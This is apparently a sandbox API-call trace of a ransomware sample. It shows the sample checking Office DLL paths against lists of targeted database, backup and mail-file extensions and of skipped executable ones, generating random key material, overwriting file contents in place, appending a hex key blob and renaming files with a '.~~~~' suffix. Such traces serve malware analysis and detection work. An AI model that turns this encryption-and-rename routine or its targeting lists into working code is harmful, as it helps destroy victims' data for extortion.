	[0146.279] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0146.332] lstrlenW (lpString=".sqb") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".sqb") returned 0x0
	[0146.332] lstrlenW (lpString=".ost") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".ost") returned 0x0
	[0146.332] lstrlenW (lpString=".txt") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".txt") returned 0x0
	[0146.332] lstrlenW (lpString=".mdt") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".mdt") returned 0x0
	[0146.332] lstrlenW (lpString=".BDB") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".BDB") returned 0x0
	[0146.332] lstrlenW (lpString=".eql") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".eql") returned 0x0
	[0146.332] lstrlenW (lpString=".DBF") returned 4
	[0146.332] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DBF") returned 0x0
	[0146.333] lstrlenW (lpString=".EQL") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".EQL") returned 0x0
	[0146.333] lstrlenW (lpString=".FDB") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".FDB") returned 0x0
	[0146.333] lstrlenW (lpString=".EDB") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".EDB") returned 0x0
	[0146.333] lstrlenW (lpString=".DACPAC") returned 7
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.333] lstrlenW (lpString=".VHD") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".VHD") returned 0x0
	[0146.333] lstrlenW (lpString=".DBV") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DBV") returned 0x0
	[0146.333] lstrlenW (lpString=".dacpac") returned 7
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dacpac") returned 0x0
	[0146.333] lstrlenW (lpString=".sdf") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".sdf") returned 0x0
	[0146.333] lstrlenW (lpString=".accdb") returned 6
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".accdb") returned 0x0
	[0146.333] lstrlenW (lpString=".DBX") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DBX") returned 0x0
	[0146.333] lstrlenW (lpString=".MDT") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".MDT") returned 0x0
	[0146.333] lstrlenW (lpString=".SQB") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".SQB") returned 0x0
	[0146.333] lstrlenW (lpString=".vhd") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".vhd") returned 0x0
	[0146.333] lstrlenW (lpString=".bac") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".bac") returned 0x0
	[0146.333] lstrlenW (lpString=".mdf") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".mdf") returned 0x0
	[0146.333] lstrlenW (lpString=".BAK") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".BAK") returned 0x0
	[0146.333] lstrlenW (lpString=".BAC") returned 4
	[0146.333] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".BAC") returned 0x0
	[0146.334] lstrlenW (lpString=".dbs") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dbs") returned 0x0
	[0146.334] lstrlenW (lpString=".vhdx") returned 5
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".vhdx") returned 0x0
	[0146.334] lstrlenW (lpString=".NDF") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".NDF") returned 0x0
	[0146.334] lstrlenW (lpString=".dat") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dat") returned 0x0
	[0146.334] lstrlenW (lpString=".DBS") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DBS") returned 0x0
	[0146.334] lstrlenW (lpString=".CKP") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".CKP") returned 0x0
	[0146.334] lstrlenW (lpString=".edb") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".edb") returned 0x0
	[0146.334] lstrlenW (lpString=".PST") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".PST") returned 0x0
	[0146.334] lstrlenW (lpString=".dbf") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dbf") returned 0x0
	[0146.334] lstrlenW (lpString=".SQL") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".SQL") returned 0x0
	[0146.334] lstrlenW (lpString=".pst") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".pst") returned 0x0
	[0146.334] lstrlenW (lpString=".dbv") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dbv") returned 0x0
	[0146.334] lstrlenW (lpString=".SDF") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".SDF") returned 0x0
	[0146.334] lstrlenW (lpString=".dtxs") returned 5
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dtxs") returned 0x0
	[0146.334] lstrlenW (lpString=".db3") returned 4
	[0146.334] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".db3") returned 0x0
	[0146.334] lstrlenW (lpString=".OST") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".OST") returned 0x0
	[0146.335] lstrlenW (lpString=".dbx") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dbx") returned 0x0
	[0146.335] lstrlenW (lpString=".DB3") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DB3") returned 0x0
	[0146.335] lstrlenW (lpString=".DAT") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DAT") returned 0x0
	[0146.335] lstrlenW (lpString=".VHDX") returned 5
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".VHDX") returned 0x0
	[0146.335] lstrlenW (lpString=".ndf") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".ndf") returned 0x0
	[0146.335] lstrlenW (lpString=".DB") returned 3
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DB") returned 0x0
	[0146.335] lstrlenW (lpString=".sql") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".sql") returned 0x0
	[0146.335] lstrlenW (lpString=".MYD") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".MYD") returned 0x0
	[0146.335] lstrlenW (lpString=".DBT") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DBT") returned 0x0
	[0146.335] lstrlenW (lpString=".ACCDB") returned 6
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.335] lstrlenW (lpString=".fdb") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".fdb") returned 0x0
	[0146.335] lstrlenW (lpString=".bak") returned 4
	[0146.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".bak") returned 0x0
	[0146.335] lstrlenW (lpString=".myd") returned 4
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".myd") returned 0x0
	[0146.336] lstrlenW (lpString=".DTXS") returned 5
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".DTXS") returned 0x0
	[0146.336] lstrlenW (lpString=".ckp") returned 4
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".ckp") returned 0x0
	[0146.336] lstrlenW (lpString=".dbt") returned 4
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".dbt") returned 0x0
	[0146.336] lstrlenW (lpString=".db") returned 3
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".db") returned 0x0
	[0146.336] lstrlenW (lpString=".TXT") returned 4
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".TXT") returned 0x0
	[0146.336] lstrlenW (lpString=".MDF") returned 4
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".MDF") returned 0x0
	[0146.336] lstrlenW (lpString=".bdb") returned 4
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".bdb") returned 0x0
	[0146.336] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.336] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0146.336] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.337] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0146.338] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.338] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0146.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0146.338] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26632817427) returned 1
	[0146.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0a21dd0, dwHighDateTime=0x1d60e1e)) 
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac858
	[0146.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac858 | out: hHeap=0x300000) returned 1
	[0146.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0600
	[0146.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28704c8
	[0146.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0600 | out: hHeap=0x300000) returned 1
	[0146.339] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.339] GetLastError () returned 0x0
	[0146.340] GetLastError () returned 0x0
	[0146.340] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.340] GetLastError () returned 0x0
	[0146.340] GetLastError () returned 0x0
	[0146.340] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.343] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.343] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.345] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.345] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.347] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.347] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.347] CloseHandle (hObject=0x114) returned 1
	[0146.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870858
	[0146.348] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.~~~~")) returned 1
	[0146.350] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870858 | out: hHeap=0x300000) returned 1
	[0146.351] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.351] GetLastError () returned 0x0
	[0146.351] RtlWakeConditionVariable () returned 0x0
	[0146.351] GetCurrentThreadId () returned 0xaf0
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".scr") returned 0x0
	[0146.351] lstrlenW (lpString=".cmd") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".cmd") returned 0x0
	[0146.351] lstrlenW (lpString=".dll") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dll") returned 0x0
	[0146.351] lstrlenW (lpString=".bat") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".bat") returned 0x0
	[0146.351] lstrlenW (lpString=".cpl") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".cpl") returned 0x0
	[0146.351] lstrlenW (lpString=".sys") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".sys") returned 0x0
	[0146.351] lstrlenW (lpString=".msc") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".msc") returned 0x0
	[0146.351] lstrlenW (lpString=".com") returned 4
	[0146.351] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".com") returned 0x0
	[0146.352] lstrlenW (lpString=".lnk") returned 4
	[0146.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".lnk") returned 0x0
	[0146.352] lstrlenW (lpString=".msp") returned 4
	[0146.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".msp") returned 0x0
	[0146.352] lstrlenW (lpString=".pif") returned 4
	[0146.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".pif") returned 0x0
	[0146.352] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xllex.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.399] lstrlenW (lpString=".sqb") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".sqb") returned 0x0
	[0146.399] lstrlenW (lpString=".ost") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".ost") returned 0x0
	[0146.399] lstrlenW (lpString=".txt") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".txt") returned 0x0
	[0146.399] lstrlenW (lpString=".mdt") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".mdt") returned 0x0
	[0146.399] lstrlenW (lpString=".BDB") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".BDB") returned 0x0
	[0146.399] lstrlenW (lpString=".eql") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".eql") returned 0x0
	[0146.399] lstrlenW (lpString=".DBF") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DBF") returned 0x0
	[0146.399] lstrlenW (lpString=".EQL") returned 4
	[0146.399] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".EQL") returned 0x0
	[0146.399] lstrlenW (lpString=".FDB") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".FDB") returned 0x0
	[0146.400] lstrlenW (lpString=".EDB") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".EDB") returned 0x0
	[0146.400] lstrlenW (lpString=".DACPAC") returned 7
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.400] lstrlenW (lpString=".VHD") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".VHD") returned 0x0
	[0146.400] lstrlenW (lpString=".DBV") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DBV") returned 0x0
	[0146.400] lstrlenW (lpString=".dacpac") returned 7
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dacpac") returned 0x0
	[0146.400] lstrlenW (lpString=".sdf") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".sdf") returned 0x0
	[0146.400] lstrlenW (lpString=".accdb") returned 6
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".accdb") returned 0x0
	[0146.400] lstrlenW (lpString=".DBX") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".DBX") returned 0x0
	[0146.400] lstrlenW (lpString=".MDT") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".MDT") returned 0x0
	[0146.400] lstrlenW (lpString=".SQB") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".SQB") returned 0x0
	[0146.400] lstrlenW (lpString=".vhd") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".vhd") returned 0x0
	[0146.400] lstrlenW (lpString=".bac") returned 4
	[0146.400] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".bac") returned 0x0
	[0146.400] lstrlenW (lpString=".mdf") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".mdf") returned 0x0
	[0146.401] lstrlenW (lpString=".BAK") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".BAK") returned 0x0
	[0146.401] lstrlenW (lpString=".BAC") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".BAC") returned 0x0
	[0146.401] lstrlenW (lpString=".dbs") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dbs") returned 0x0
	[0146.401] lstrlenW (lpString=".vhdx") returned 5
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".vhdx") returned 0x0
	[0146.401] lstrlenW (lpString=".NDF") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".NDF") returned 0x0
	[0146.401] lstrlenW (lpString=".dat") returned 4
	[0146.401] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLLEX.DLL", lpSrch=".dat") returned 0x0
